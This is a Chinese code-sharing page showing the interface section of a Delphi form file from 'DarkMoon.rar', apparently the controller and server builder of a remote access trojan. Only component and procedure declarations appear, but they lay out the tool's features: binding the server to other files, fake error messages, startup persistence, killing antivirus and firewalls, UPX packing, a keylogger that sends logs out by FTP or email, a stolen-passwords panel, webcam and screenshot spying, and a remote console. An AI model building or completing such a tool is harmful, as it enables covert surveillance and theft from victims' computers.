开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Delphi控件源码 > 查看源码
Mainform.~pas
资源名称：DarkMoon.rar　[点击查看]
上传用户：hndmjx
上传日期：2014-09-16
资源大小：3369k
文件大小：159k
源码类别：

Delphi控件源码

开发平台：

Delphi

Mainform.~pas：源码内容
  1. unit Mainform;
  2. interface
  3. uses
  4. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  5. Dialogs,ShellAPI, te_controls, te_engine, StdCtrls, ExtCtrls,
  6. te_extra_Effect_Controls, Menus, te_extended, tefx_buttons, te_switcher,
  7. ComCtrls, te_extctrls,winsock,WSockets,strutils,
  8. te_dialogs, ImgList, Grids, ValEdit, jpeg,wininet,  IniFiles, DM5314_UExplorer  ,Registry  ,DM5314_USimpleTCP  , DM5314_UCommandsAndUtils,
  9. DM5314_Umd5,madRes, DM5314_Uftp, te_stddialogs, te_forms, WinSkinData;
  12. procedure  SendDataMain ( COMMAND : string;PARM1 : string;PARM2 : string);
  13. type
  14.   TfrmMain = class(TForm)
  15.     TeThemeEngine: TTeThemeEngine;
  16.     TefrmMainform: TTeForm;
  17.     gb2: TTeGroupBox;
  18.     gb3: TTeGroupBox;
  19.     gb6: TTeGroupBox;
  20.     gb9: TTeGroupBox;
  21.     gb8: TTeGroupBox;
  22.     gbSettingsMenu: TTeGroupBox;
  23.     btnSettingConnections: TTeButton;
  24.     gb8Connection: TTeGroupBox;
  25.     memoEnglish: TTeMemo;
  26.     btnSettingGeneral: TTeButton;
  27.     gb8general: TTeGroupBox;
  28.     TeLabel7: TTeLabel;
  29.     btnChatSend: TTeButton;
  30.     LV1: TTeListView;
  31.     lblExplorerRemoteDir: TTeLabel;
  32.     lblRemotePath: TTeLabel;
  33.     lvClients: TTeListView;
  34.     btnClientsConnect: TTeButton;
  35.     btnClientsRefresh: TtefxButton;
  36.     StatusBar: TTeStatusBar;
  37.     TeThemeList: TTeThemeList;
  38.     TePopupMenu1: TTePopupMenu;
  39.     CustomItem1: TTeItem;
  40.     CustomItem2: TTeItem;
  41.     MainMsg: TTeMessage;
  42.     ColorDialog: TTeColorDialog;
  43.     TeGroupBox7: TTeGroupBox;
  44.     btnExplorerDownload: TTeButton;
  45.     btnExplorerUpload: TTeButton;
  46.     btnExplorerDel: TTeButton;
  47.     btnExplorerRefresh: TTeButton;
  48.     btnExploreRename: TTeButton;
  49.     btnExplorerMKD: TTeButton;
  50.     btnExplorerRun: TTeButton;
  51.     btnExplorerUP: TTeButton;
  52.     ValueListEditor1: TValueListEditor;
  53.     lblFTPsize: TTeLabel;
  54.     Label3: TTeLabel;
  55.     Label4: TTeLabel;
  56.     lblcurrentIPConnected: TTeLabel;
  57.     lblCurentIP: TTeLabel;
  58.     lblConnectionsKportS: TTeLabel;
  59.     lblConnectionsKportC: TTeLabel;
  60.     lblConnectionUsing: TTeLabel;
  61.     gb5: TTeGroupBox;
  62.     gbGeneral: TTeGroupBox;
  63.     lblGeneralServername: TTeLabel;
  64.     lblGeneralSINPort: TTeLabel;
  65.     lblGeneralConnectioPort: TTeLabel;
  66.     lblGeneralPassword: TTeLabel;
  67.     lblGeneralhelpername: TTeLabel;
  68.     lblGeneralURLdownload: TTeLabel;
  69.     lblGeneralEjecutefile: TTeLabel;
  70.     gbProcessKill: TTeGroupBox;
  71.     CheckBoxAVFW: TTeCheckBox;
  72.     OpenDlgBinder: TOpenDialog;
  73.     TeGroupBox19: TTeGroupBox;
  74.     btnAVFWkillClean: TTeButton;
  75.     lblConnected: TTeLabel;
  76.     ckbNotification: TtefxCheckBox;
  77.     gb7: TTeGroupBox;
  78.     gbNotifications: TTeGroupBox;
  79.     TeScrollBox2: TTeScrollBox;
  80.     gbFTPNot: TTeGroupBox;
  81.     lblFTPUser: TTeLabel;
  82.     lblFTPDir: TTeLabel;
  83.     lblFTPPass: TTeLabel;
  84.     lblFTPFTP: TTeLabel;
  85.     lblFTPPort: TTeLabel;
  86.     gbIPNot: TTeGroupBox;
  87.     btnReverseConnectionIP: TTeButton;
  88.     gbEMAILnot: TTeGroupBox;
  89.     lblSetupSMTP: TTeLabel;
  90.     lblSetupEMAIL: TTeLabel;
  91.     gbICQNot: TTeGroupBox;
  92.     lblICQNotUIN: TTeLabel;
  93.     gbBinderIcon: TTeGroupBox;
  94.     gbBinder: TTeGroupBox;
  95.     btnBinderAdd: TTeButton;
  96.     gpMISC: TTeGroupBox;
  97.     TeScrollBox3: TTeScrollBox;
  98.     gbSetupFakeError: TTeGroupBox;
  99.     lblFakerrorTitle: TTeLabel;
  100.     lblFakerrorMessage: TTeLabel;
  101.     Label79: TTeLabel;
  102.     gbStartup: TTeGroupBox;
  103.     gbdelay: TTeGroupBox;
  104.     gbSetupKeylogger: TTeGroupBox;
  105.     lblkeyloggerSendlog: TTeLabel;
  106.     chbAvtivekeylogger: TTeCheckBox;
  107.     RadioBDelayDate: TTeRadioButton;
  108.     RadioBDelayDateResets: TTeRadioButton;
  109.     Label64: TTeLabel;
  110.     TeLabel9: TTeLabel;
  111.     TeLabel10: TTeLabel;
  112.     gbFTPsettings: TTeGroupBox;
  113.     lblFTPsettingsHost: TTeLabel;
  114.     lblFTPsettingsUser: TTeLabel;
  115.     lblFTPsettingsPass: TTeLabel;
  116.     gbSetupMenu: TTeGroupBox;
  117.     btnSetupNotify: TTeButton;
  118.     btnSetupbinderIcon: TTeButton;
  119.     btnSetupMISC: TTeButton;
  120.     btnSetupAVFWkill: TTeButton;
  121.     btnSetupGeneral: TTeButton;
  122.     lblConnectionsinverseConnection: TTeLabel;
  123.     lblConnectionsFTPPort: TTeLabel;
  124.     TeGroupBox13: TTeGroupBox;
  125.     chkbShowIP: TTeCheckBox;
  126.     ImageList1: TImageList;
  127.     TeAdvancedLabel3: TTeAdvancedLabel;
  128.     PopupMenu1: TPopupMenu;
  129.     edtStartUpActivex: TTeSEdit;
  130.     edtStartUpLM: TTeSEdit;
  131.     edtStartUpCU: TTeSEdit;
  132.     edtfakeerrorMessage: TTeSEdit;
  133.     edtfakeerrorTitle: TTeSEdit;
  134.     edtKeyloggerFTPTime: TTeSEdit;
  135.     edtKeyloggerFTPHost: TTeSEdit;
  136.     edtKeyloggerFTPUser: TTeSEdit;
  137.     edtKeyloggerFTPPass: TTeSEdit;
  138.     edtDelayDate: TTeSEdit;
  139.     edtDelayResets: TTeSEdit;
  140.     edtSetupServerName: TTeSEdit;
  141.     edtSetupHelperName: TTeSEdit;
  142.     EditSetupICPort: TTeSEdit;
  143.     EditSetupLisenPort: TTeSEdit;
  144.     EditSetupPass: TTeSEdit;
  145.     edtSetupDownloadURL: TTeSEdit;
  146.     edtSetupExecuteFile: TTeSEdit;
  147.     Edit17: TTeSEdit;
  148.     Edit16: TTeSEdit;
  149.     Edit18: TTeSEdit;
  150.     Edit19: TTeSEdit;
  151.     Edit20: TTeSEdit;
  152.     btnFTPtest: TTeButton;
  153.     edtUIN: TTeSEdit;
  154.     edtSetupIP: TTeSEdit;
  155.     TeButton8: TTeButton;
  156.     edtSetupEMAIL: TTeSEdit;
  157.     edtSetupSMTP: TTeSEdit;
  158.     edtBinderFile: TTeSEdit;
  159.     memoChatBody: TTeMemo;
  160.     edtNick: TTeSEdit;
  161.     EdtChatMessage: TTeSEdit;
  162.     edtSIN: TTeSEdit;
  163.     edtKlistening: TTeSEdit;
  164.     edtKport: TTeSEdit;
  165.     edtFTPPort: TTeSEdit;
  166.     ImageList2: TImageList;
  167.     gbMSN: TTeGroupBox;
  168.     Memo1: TMemo;
  169.     TeGroupBox27: TTeGroupBox;
  170.     lblMSNConnectionEmail: TTeLabel;
  171.     edtMSNEmail: TTeSEdit;
  172.     lblMSNConnectionPASS: TTeLabel;
  173.     edtMSNPASS: TTeSEdit;
  174.     btnMSNconnectionConnect: TTeButton;
  175.     gbMSNNOT: TTeGroupBox;
  176.     edtCMSNPASS: TTeSEdit;
  177.     edtcMSNEmail: TTeSEdit;
  178.     lblMsnNotEmail: TTeLabel;
  179.     lblMsnNotPass: TTeLabel;
  180.     lvMSN: TTeListView;
  181.     gbClientSizes: TTeGroupBox;
  182.     TrackBarheight: TTeTrackBar;
  183.     TrackBarwidth: TTeTrackBar;
  184.     lblSizesWidth: TTeLabel;
  185.     lblSizesHeight: TTeLabel;
  186.     memoSpanish: TTeMemo;
  187.     Label1: TLabel;
  188.     gbIcon: TTeGroupBox;
  189.     Bevel1: TBevel;
  190.     imgionicon: TImage;
  191.     btnIconAdd: TTeButton;
  192.     edtIcon: TTeSEdit;
  193.     TeScrollBox4: TTeScrollBox;
  194.     imgIcon2: TImage;
  195.     imgIcon3: TImage;
  196.     imgIcon4: TImage;
  197.     imgIcon1: TImage;
  198.     imgIcon9: TImage;
  199.     imgIcon5: TImage;
  200.     imgIcon7: TImage;
  201.     imgIcon6: TImage;
  202.     imgIcon8: TImage;
  203.     imgIcon10: TImage;
  204.     imgIcon11: TImage;
  205.     TeGroupBox3: TTeGroupBox;
  206.     btnSetupSave: TTeButton;
  207.     btnSetupOpen: TTeButton;
  208.     TeGroupBox4: TTeGroupBox;
  209.     TeButton5: TTeButton;
  210.     TeButton13: TTeButton;
  211.     ProgressBarExplorer: TTeProgressBar;
  212.     lblLocalIP: TTeLabel;
  213.     TeGroupBox5: TTeGroupBox;
  214.     TeGroupBox6: TTeGroupBox;
  215.     TeGroupBox9: TTeGroupBox;
  216.     TeButton14: TTeButton;
  217.     TeButton15: TTeButton;
  218.     TeButton16: TTeButton;
  219.     TeButton17: TTeButton;
  220.     TeButton18: TTeButton;
  221.     TeButton19: TTeButton;
  222.     TeButton20: TTeButton;
  223.     TeButton21: TTeButton;
  224.     TeButton22: TTeButton;
  225.     Label6: TLabel;
  226.     TeButton23: TTeButton;
  227.     TeButton24: TTeButton;
  228.     TeButton25: TTeButton;
  229.     TeButton26: TTeButton;
  230.     TeButton27: TTeButton;
  231.     TeButton28: TTeButton;
  232.     TeButton29: TTeButton;
  233.     TeButton32: TTeButton;
  234.     edtWorkingIP: TTeSEdit;
  235.     chBoxWorkingIP: TTeCheckBox;
  236.     btnWorkingIP: TTeButton;
  237.     RadioButtonExtention2: TTeRadioButton;
  238.     RadioButtonExtention1: TTeRadioButton;
  239.     RadioButtonExtention3: TTeRadioButton;
  240.     RadioButtonExtention4: TTeRadioButton;
  241.     chBoxDisableXPFirewall: TtefxCheckBox;
  242.     OpenDialog2: TOpenDialog;
  243.     OpenDialog1: TOpenDialog;
  244.     openDfile: TTeOpenDialog;
  245.     TeGroupBox15: TTeGroupBox;
  246.     lblHost: TTeLabel;
  247.     cbMainIP: TTeComboBox;
  248.     btnMainConnect: TTeButton;
  249.     memoMain: TMemo;
  250.     TeLabel2: TTeLabel;
  251.     chBoxIC: TtefxCheckBox;
  252.     TeButton30: TTeButton;
  253.     TeButton33: TTeButton;
  254.     TeButton34: TTeButton;
  255.     TeButton35: TTeButton;
  256.     TeButton36: TTeButton;
  257.     chboxMSN: TtefxCheckBox;
  258.     TeButton31: TTeButton;
  259.     TeScrollBox5: TTeScrollBox;
  260.     TeHeaderPanel1: TTeHeaderPanel;
  261.     TeHeaderPanel2: TTeHeaderPanel;
  262.     TeHeaderPanel3: TTeHeaderPanel;
  263.     TeHeaderPanel4: TTeHeaderPanel;
  264.     TeHeaderPanel5: TTeHeaderPanel;
  265.     TeHeaderPanel6: TTeHeaderPanel;
  266.     TeHeaderPanel7: TTeHeaderPanel;
  267.     TeHeaderPanel9: TTeHeaderPanel;
  268.     TeHeaderPanel8: TTeHeaderPanel;
  269.     Label8: TLabel;
  270.     Label9: TLabel;
  271.     TeButton3: TTeButton;
  272.     gbSkinManager: TTeGroupBox;
  273.     TeThemeSwitcher: TTeThemeSwitcher;
  274.     gbChangehue: TTeGroupBox;
  275.     trackbarHUE: TTeTrackBar;
  276.     gbchangeBrightness: TTeGroupBox;
  277.     trackbarBrightness: TTeTrackBar;
  278.     RadioButtonExtention0: TtefxRadioButton;
  279.     gbINF: TTeGroupBox;
  280.     memoInf: TTeMemo;
  281.     gbPasswords: TTeGroupBox;
  282.     memoPasswords: TTeMemo;
  283.     gbRegEdit: TTeGroupBox;
  284.     lblCurrentReg: TLabel;
  285.     TVReg: TTeTreeView;
  286.     TeButton7: TTeButton;
  287.     TeButton9: TTeButton;
  288.     TeButton10: TTeButton;
  289.     LVReg: TTeListView;
  290.     TeButton11: TTeButton;
  291.     gbSpyKeylogger: TTeGroupBox;
  292.     gbKeyloggerSendKeys: TTeGroupBox;
  293.     Memo2: TTeMemo;
  294.     gbKeyloggerGetkeys: TTeGroupBox;
  295.     memoGetkeys: TTeMemo;
  296.     gbConsole: TTeGroupBox;
  297.     lblSpyExample: TTeLabel;
  298.     memoConsole: TTeMemo;
  299.     edtConsole: TTeSEdit;
  300.     gbWindows: TTeGroupBox;
  301.     lv3: TTeListView;
  302.     TeGroupBox11: TTeGroupBox;
  303.     btnSpyWindowsClose: TTeButton;
  304.     btnSpyWindowsHide: TTeButton;
  305.     btnSpyWindowsshow: TTeButton;
  306.     btnSpyWindowsRefresh: TTeButton;
  307.     gbSpyProcesses: TTeGroupBox;
  308.     lvProcesses: TTeListView;
  309.     TeGroupBox12: TTeGroupBox;
  310.     btnSpyProcessesKill: TTeButton;
  311.     btnSpyProcessesRefresh: TTeButton;
  312.     gbSpyWebcam: TTeGroupBox;
  313.     TeTrackBar1: TTeTrackBar;
  314.     btnSpyWebcamCap: TTeButton;
  315.     TeGroupBox17: TTeGroupBox;
  316.     imgWebcam: TImage;
  317.     edtWebcamquality: TTeSEdit;
  318.     gbSpyScreenshot: TTeGroupBox;
  319.     btnSpyScreenshotCap: TTeButton;
  320.     TeTrackBar2: TTeTrackBar;
  321.     TeGroupBox18: TTeGroupBox;
  322.     imgScreenshot: TImage;
  323.     ProgressBarDesk: TTeProgressBar;
  324.     edtScreenshotQuality: TTeSEdit;
  325.     gbMSGs: TTeGroupBox;
  326.     TeGroupBox1: TTeGroupBox;
  327.     TeSpeedButton1: TTeSpeedButton;
  328.     TeSpeedButton2: TTeSpeedButton;
  329.     TeSpeedButton3: TTeSpeedButton;
  330.     TeSpeedButton4: TTeSpeedButton;
  331.     TeGroupBox2: TTeGroupBox;
  332.     edtSPYMSGSMessage: TTeSEdit;
  333.     btnMGSsSend: TTeButton;
  334.     TeButton48: TTeButton;
  335.     btnKeyloggerSave: TTeButton;
  336.     TeButton51: TTeButton;
  337.     btnKeyloggerFullScreen: TTeButton;
  338.     btnScreenshotSave: TTeButton;
  339.     gbAdmin: TTeGroupBox;
  340.     TeScrollBox1: TTeScrollBox;
  341.     btnMainAdmin4: TTeButton;
  342.     btnMainAdmin8: TTeButton;
  343.     btnMainAdmin3: TTeButton;
  344.     btnMainAdmin5: TTeButton;
  345.     btnMainAdmin1: TTeButton;
  346.     btnMainAdmin27: TTeButton;
  347.     btnMainAdmin2: TTeButton;
  348.     btnMainAdmin15: TTeButton;
  349.     btnMainAdmin22: TTeButton;
  350.     btnMainAdmin46: TTeButton;
  351.     btnMainAdmin10: TTeButton;
  352.     btnMainAdmin21: TTeButton;
  353.     btnMainAdmin9: TTeButton;
  354.     btnMainAdmin17: TTeButton;
  355.     btnMainAdmin23: TTeButton;
  356.     btnAdminResetServer: TTeButton;
  357.     gbFun: TTeGroupBox;
  358.     btnMainFun0: TTeButton;
  359.     btnMainFun24: TTeButton;
  360.     btnMainFun14: TTeButton;
  361.     btnMainFun13: TTeButton;
  362.     btnMainFun19: TTeButton;
  363.     btnMainFun16: TTeButton;
  364.     btnMainFun11: TTeButton;
  365.     btnMainFun6: TTeButton;
  366.     btnMainFun18: TTeButton;
  367.     btnMainFun20: TTeButton;
  368.     btnMainFun12: TTeButton;
  369.     btnMainFun28: TTeButton;
  370.     edtMainPort: TTeSEdit;
  371.     TeButton54: TTeButton;
  372.     SaveDLog: TTeSaveDialog;
  373.     SaveDPic: TTeSaveDialog;
  374.     tefxButton1: TtefxButton;
  375.     gbSearch: TTeGroupBox;
  376.     edtSearchPath: TTeSEdit;
  377.     edtSearchMask: TTeSEdit;
  378.     btnSearchFind: TTeButton;
  379.     lvSearch: TTeListView;
  380.     TeButton56: TTeButton;
  381.     gbServices: TTeGroupBox;
  382.     TeButton57: TTeButton;
  383.     TeButton58: TTeButton;
  384.     TeButton59: TTeButton;
  385.     OpenDDM: TTeOpenDialog;
  386.     SaveDDM: TTeSaveDialog;
  387.     chBoxMSNConnection: TTeCheckBox;
  388.     ProgressBarCam: TTeProgressBar;
  389.     TeButton60: TTeButton;
  390.     TeButton61: TTeButton;
  391.     TimerRDC: TTimer;
  392.     btnRDCTime: TTeButton;
  393.     edtRDCtime: TTeSEdit;
  394.     lblKeyloggerSeconds: TLabel;
  395.     lvServices: TTeListView;
  396.     gbOnlineEditor: TTeGroupBox;
  397.     edtOEVER: TTeSEdit;
  398.     edtOEPASS: TTeSEdit;
  399.     Label10: TLabel;
  400.     Label11: TLabel;
  401.     TeButton65: TTeButton;
  402.     gbWebServer: TTeGroupBox;
  403.     btnWebserverStart: TTeButton;
  404.     TeSEdit1: TTeSEdit;
  405.     TeLabel1: TTeLabel;
  406.     TeLabel3: TTeLabel;
  407.     TeSEdit2: TTeSEdit;
  408.     TeLabel4: TTeLabel;
  409.     TeSEdit3: TTeSEdit;
  410.     TeButton55: TTeButton;
  411.     gbShutDown: TTeGroupBox;
  412.     TeButton62: TTeButton;
  413.     TeButton66: TTeButton;
  414.     TeButton67: TTeButton;
  415.     TeButton68: TTeButton;
  416.     TeButton69: TTeButton;
  417.     TeButton70: TTeButton;
  418.     chBoxDisappear: TTeCheckBox;
  419.     TeButton71: TTeButton;
  420.     TeGroupBox8: TTeGroupBox;
  421.     edtFWB: TTeSEdit;
  422.     Label2: TLabel;
  423.     btnStartRDC: TTeButton;
  424.     chBoxUPX: TTeCheckBox;
  425.     Image1: TImage;
  426.     TeScrollBox6: TTeScrollBox;
  427.     Label5: TLabel;
  428.     Label12: TLabel;
  429.     Label13: TLabel;
  430.     Label14: TLabel;
  431.     Label15: TLabel;
  432.     Label16: TLabel;
  433.     Label17: TLabel;
  434.     Label18: TLabel;
  435.     Label19: TLabel;
  436.     Label20: TLabel;
  437.     Label21: TLabel;
  438.     Label22: TLabel;
  439.     Label23: TLabel;
  440.     Label24: TLabel;
  441.     TeButton4: TtefxButton;
  442.     Label25: TLabel;
  443.     Label26: TLabel;
  444.     edtSetIP: TTeSEdit;
  445.     Label27: TLabel;
  446.     TeButton2: TTeButton;
  447.     RadioBStartUPActivex: TTeCheckBox;
  448.     RadioBStartUPCU: TTeCheckBox;
  449.     RadioBStartUPLM: TTeCheckBox;
  450.     SkinData1: TSkinData;
  451.     OpenDialog3: TOpenDialog;
  452.     cbLanguage: TTeComboBox;
  453.     TeButton37: TTeButton;
  454.     TeButton38: TTeButton;
  455.     btnSpyKeylogger: TTeButton;
  456.     btnSpyProcesses: TtefxButton;
  457.     btnSpyScreenshot: TTeButton;
  458.     btnSpywebcam: TTeButton;
  459.     btnSpyWindows: TTeButton;
  460.     btnSpyConsole: TTeButton;
  461.     TeButton6: TTeButton;
  462.     TeButton1: TTeButton;
  463.     TeButton12: TTeButton;
  464.     btnSpyRegedit: TTeButton;
  465.     TeButton41: TTeButton;
  466.     TeButton39: TTeButton;
  467.     TeButton42: TTeButton;
  468.     TeButton422: TTeButton;
  469.     TeButton43: TTeButton;
  470.     TeButton40: TTeButton;
  471.     TeButton44: TTeButton;
  472.     TeButton45: TTeButton;
  473.     TeButton46: TTeButton;
  474.     TeButton47: TTeButton;
  475.     TeButton49: TTeButton;
  476.     procedure TebtnMainExplorerClick(Sender: TObject);
  477.     procedure FormCreate(Sender: TObject);
  478.     procedure btnSettingGeneralClick(Sender: TObject);
  479.     procedure CustomItem2Click(Sender: TObject);
  480.     procedure btnMainFun0Click(Sender: TObject);
  481.     procedure btnMainAdmin1Click(Sender: TObject);
  482.     procedure btnMainFun24Click(Sender: TObject);
  483.     procedure btnMainFun14Click(Sender: TObject);
  484.     procedure btnMainFun13Click(Sender: TObject);
  485.     procedure btnMainFun19Click(Sender: TObject);
  486.     procedure btnMainFun16Click(Sender: TObject);
  487.     procedure btnMainFun11Click(Sender: TObject);
  488.     procedure btnMainFun6Click(Sender: TObject);
  489.     procedure btnMainFun12Click(Sender: TObject);
  490.     procedure btnMainAdmin17Click(Sender: TObject);
  491.     procedure btnMainAdmin9Click(Sender: TObject);
  492.     procedure btnMainAdmin4Click(Sender: TObject);
  493.     procedure btnMainAdmin8Click(Sender: TObject);
  494.     procedure btnMainAdmin3Click(Sender: TObject);
  495.     procedure btnMainAdmin5Click(Sender: TObject);
  496.     procedure btnMainAdmin2Click(Sender: TObject);
  497.     procedure btnMainAdmin46Click(Sender: TObject);
  498.     procedure btnMainAdmin27Click(Sender: TObject);
  499.     procedure btnMainAdmin15Click(Sender: TObject);
  500.     procedure btnMainFun18Click(Sender: TObject);
  501.     procedure btnMainFun20Click(Sender: TObject);
  502.     procedure btnMainFun28Click(Sender: TObject);
  503.     procedure btnMainAdmin22Click(Sender: TObject);
  504.     procedure btnMainAdmin23Click(Sender: TObject);
  505.     procedure memoMainChange(Sender: TObject);
  506.     procedure btnMainAdmin10Click(Sender: TObject);
  507.     procedure btnChatSendClick(Sender: TObject);
  508.     procedure EdtChatMessageKeyDown(Sender: TObject; var Key: Word;
  509.       Shift: TShiftState);
  510.     procedure btnSpyProcessesClick(Sender: TObject);
  511.     procedure btnClientsRefreshClick(Sender: TObject);
  512.     procedure btnClientsConnectClick(Sender: TObject);
  513.     procedure LV1DblClick(Sender: TObject);
  514.     procedure btnExplorerDownloadClick(Sender: TObject);
  515.     procedure btnExplorerUploadClick(Sender: TObject);
  516.     procedure btnExplorerDelClick(Sender: TObject);
  517.     procedure btnExplorerRefreshClick(Sender: TObject);
  518.     procedure btnExploreRenameClick(Sender: TObject);
  519.     procedure btnExplorerMKDClick(Sender: TObject);
  520.     procedure btnExplorerRunClick(Sender: TObject);
  521.     procedure btnExplorerUPClick(Sender: TObject);
  522.     procedure btnSpyKeyloggerClick(Sender: TObject);
  523.     procedure btnSpyScreenshotClick(Sender: TObject);
  524.     procedure btnSpywebcamClick(Sender: TObject);
  525.     procedure memoGetkeysChange(Sender: TObject);
  526.     procedure Memo2KeyDown(Sender: TObject; var Key: Word;
  527.       Shift: TShiftState);
  528.     procedure memoGetkeysDblClick(Sender: TObject);
  529.     procedure btnSpyScreenshotCapClick(Sender: TObject);
  530.     procedure TeTrackBar2Change(Sender: TObject);
  531.     procedure btnIconAddClick(Sender: TObject);
  532.     procedure btnSetupOpenClick(Sender: TObject);
  533.     procedure btnSetupSaveClick(Sender: TObject);
  534.     procedure btnBinderAddClick(Sender: TObject);
  535.     procedure btnReverseConnectionIPClick(Sender: TObject);
  538.     procedure btnSetupNotifyClick(Sender: TObject);
  539.     procedure btnSetupbinderIconClick(Sender: TObject);
  540.     procedure btnSetupMISCClick(Sender: TObject);
  541.     procedure btnSetupAVFWkillClick(Sender: TObject);
  542.     procedure btnSetupGeneralClick(Sender: TObject);
  543.     procedure btnSpyConsoleClick(Sender: TObject);
  544.     procedure btnSpyWindowsClick(Sender: TObject);
  545.     procedure btnSpyWindowsCloseClick(Sender: TObject);
  546.     procedure btnSpyWindowsHideClick(Sender: TObject);
  547.     procedure btnSpyWindowsshowClick(Sender: TObject);
  548.     procedure btnSpyWindowsRefreshClick(Sender: TObject);
  549.     procedure edtConsoleKeyDown(Sender: TObject; var Key: Word;
  550.       Shift: TShiftState);
  551.     procedure TeTrackBar1Change(Sender: TObject);
  552.     procedure btnSettingConnectionsClick(Sender: TObject);
  553.     procedure chkbShowIPClick(Sender: TObject);
  554.     procedure imgScreenshotDblClick(Sender: TObject);
  555.     procedure btnAVFWkillCleanClick(Sender: TObject);
  556.     procedure btnSpyProcessesRefreshClick(Sender: TObject);
  557.     procedure btnSpyProcessesKillClick(Sender: TObject);
  558.     procedure btnSpyRegeditClick(Sender: TObject);
  559.     procedure btnMSNconnectionConnectClick(Sender: TObject);
  560.     procedure lvMSNDblClick(Sender: TObject);
  561.     procedure TrackBarwidthChange(Sender: TObject);
  562.     procedure TrackBarheightChange(Sender: TObject);
  563.     procedure btnMGSsSendClick(Sender: TObject);
  564.     procedure TeSpeedButton1Click(Sender: TObject);
  565.     procedure TeSpeedButton2Click(Sender: TObject);
  566.     procedure TeSpeedButton3Click(Sender: TObject);
  567.     procedure TeSpeedButton4Click(Sender: TObject);
  568.     procedure TeButton1Click(Sender: TObject);
  569.     procedure imgIcon1Click(Sender: TObject);
  570.     procedure imgIcon2Click(Sender: TObject);
  571.     procedure imgIcon3Click(Sender: TObject);
  572.     procedure imgIcon8Click(Sender: TObject);
  573.     procedure imgIcon9Click(Sender: TObject);
  574.     procedure imgIcon6Click(Sender: TObject);
  575.     procedure imgIcon4Click(Sender: TObject);
  576.     procedure imgIcon7Click(Sender: TObject);
  577.     procedure imgIcon10Click(Sender: TObject);
  578.     procedure imgIcon11Click(Sender: TObject);
  579.     procedure imgIcon5Click(Sender: TObject);
  580.     procedure edtIconDblClick(Sender: TObject);
  581.     procedure edtBinderFileDblClick(Sender: TObject);
  582.     procedure btnAdminResetServerClick(Sender: TObject);
  583.     procedure memoMainDblClick(Sender: TObject);
  584.     procedure memoFTPDblClick(Sender: TObject);
  585.     procedure TeButton3Click(Sender: TObject);
  586.     procedure TeButton8Click(Sender: TObject);
  587.     procedure btnFTPtestClick(Sender: TObject);
  588.     procedure memoConsoleDblClick(Sender: TObject);
  589.     procedure TeButton5Click(Sender: TObject);
  590.     procedure LV1KeyDown(Sender: TObject; var Key: Word;
  591.       Shift: TShiftState);
  592.     procedure Image3Click(Sender: TObject);
  593.     procedure Image2Click(Sender: TObject);
  594.     procedure Image1Click(Sender: TObject);
  595.     procedure Image4Click(Sender: TObject);
  596.     procedure TeButton6Click(Sender: TObject);
  597.     procedure TVRegDblClick(Sender: TObject);
  598.     procedure TeButton12Click(Sender: TObject);
  599.     procedure btnSpyWebcamCapClick(Sender: TObject);
  600.     procedure TeButton13Click(Sender: TObject);
  601.     procedure TeButton31Click(Sender: TObject);
  602.     procedure TeButton14Click(Sender: TObject);
  603.     procedure TeButton18Click(Sender: TObject);
  604.     procedure TeButton15Click(Sender: TObject);
  605.     procedure TeButton16Click(Sender: TObject);
  606.     procedure TeButton17Click(Sender: TObject);
  607.     procedure TeButton19Click(Sender: TObject);
  608.     procedure TeButton20Click(Sender: TObject);
  609.     procedure TeButton21Click(Sender: TObject);
  610.     procedure TeButton22Click(Sender: TObject);
  611.     procedure TeButton32Click(Sender: TObject);
  612.     procedure TeButton23Click(Sender: TObject);
  613.     procedure TeButton24Click(Sender: TObject);
  614.     procedure TeButton25Click(Sender: TObject);
  615.     procedure TeButton26Click(Sender: TObject);
  616.     procedure TeButton27Click(Sender: TObject);
  617.     procedure TeButton28Click(Sender: TObject);
  618.     procedure TeButton29Click(Sender: TObject);
  619.     procedure chBoxWorkingIPClick(Sender: TObject);
  620.     procedure btnWorkingIPClick(Sender: TObject);
  621.     procedure CustomItem1Click(Sender: TObject);
  622.     procedure btnMainConnectClick(Sender: TObject);
  623.     procedure lvClientsDblClick(Sender: TObject);
  624.     procedure Timer1Timer(Sender: TObject);
  625.     procedure FormDblClick(Sender: TObject);
  626.     procedure TeButton49Click(Sender: TObject);
  627.     procedure TeButton39Click(Sender: TObject);
  628.     procedure TeButton41Click(Sender: TObject);
  629.     procedure TeButton422Click(Sender: TObject);
  630.     procedure TeButton42Click(Sender: TObject);
  631.     procedure TeButton37Click(Sender: TObject);
  632.     procedure TeButton43Click(Sender: TObject);
  633.     procedure TeButton38Click(Sender: TObject);
  634.     procedure TeButton40Click(Sender: TObject);
  635.     procedure TeButton34Click(Sender: TObject);
  636.     procedure chboxMSNClick(Sender: TObject);
  637.     procedure chBoxICClick(Sender: TObject);
  638.     procedure Label7Click(Sender: TObject);
  639.     procedure TeButton35Click(Sender: TObject);
  640.     procedure cbLanguageChange(Sender: TObject);
  641.     procedure trackbarHUEChange(Sender: TObject);
  642.     procedure trackbarBrightnessChange(Sender: TObject);
  643.     procedure TeButton33Click(Sender: TObject);
  644.     procedure TeButton30Click(Sender: TObject);
  645.     procedure TeButton36Click(Sender: TObject);
  646.     procedure TeButton44Click(Sender: TObject);
  647.     procedure TeButton46Click(Sender: TObject);
  648.     procedure TeButton47Click(Sender: TObject);
  649.     procedure TeButton45Click(Sender: TObject);
  650.     procedure TeButton54Click(Sender: TObject);
  651.     procedure btnScreenshotSaveClick(Sender: TObject);
  652.     procedure btnKeyloggerFullScreenClick(Sender: TObject);
  653.     procedure TeButton48Click(Sender: TObject);
  654.     procedure TeButton51Click(Sender: TObject);
  655.     procedure btnKeyloggerSaveClick(Sender: TObject);
  656.     procedure tefxButton1Click(Sender: TObject);
  657.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  658.     procedure TeButton60Click(Sender: TObject);
  659.     procedure TeButton61Click(Sender: TObject);
  660.  
  661.     procedure btnStartRDCClick(Sender: TObject);
  662.     procedure TimerRDCTimer(Sender: TObject);
  663.     procedure btnRDCTimeClick(Sender: TObject);
  664.     procedure TeButton57Click(Sender: TObject);
  665.     procedure TeButton58Click(Sender: TObject);
  666.     procedure TeButton59Click(Sender: TObject);
  667.     procedure TeButton65Click(Sender: TObject);
  668.     procedure btnSearchFindClick(Sender: TObject);
  669.     procedure TeButton56Click(Sender: TObject);
  670.     procedure TeButton62Click(Sender: TObject);
  671.     procedure TeButton67Click(Sender: TObject);
  672.     procedure TeButton68Click(Sender: TObject);
  673.     procedure TeButton69Click(Sender: TObject);
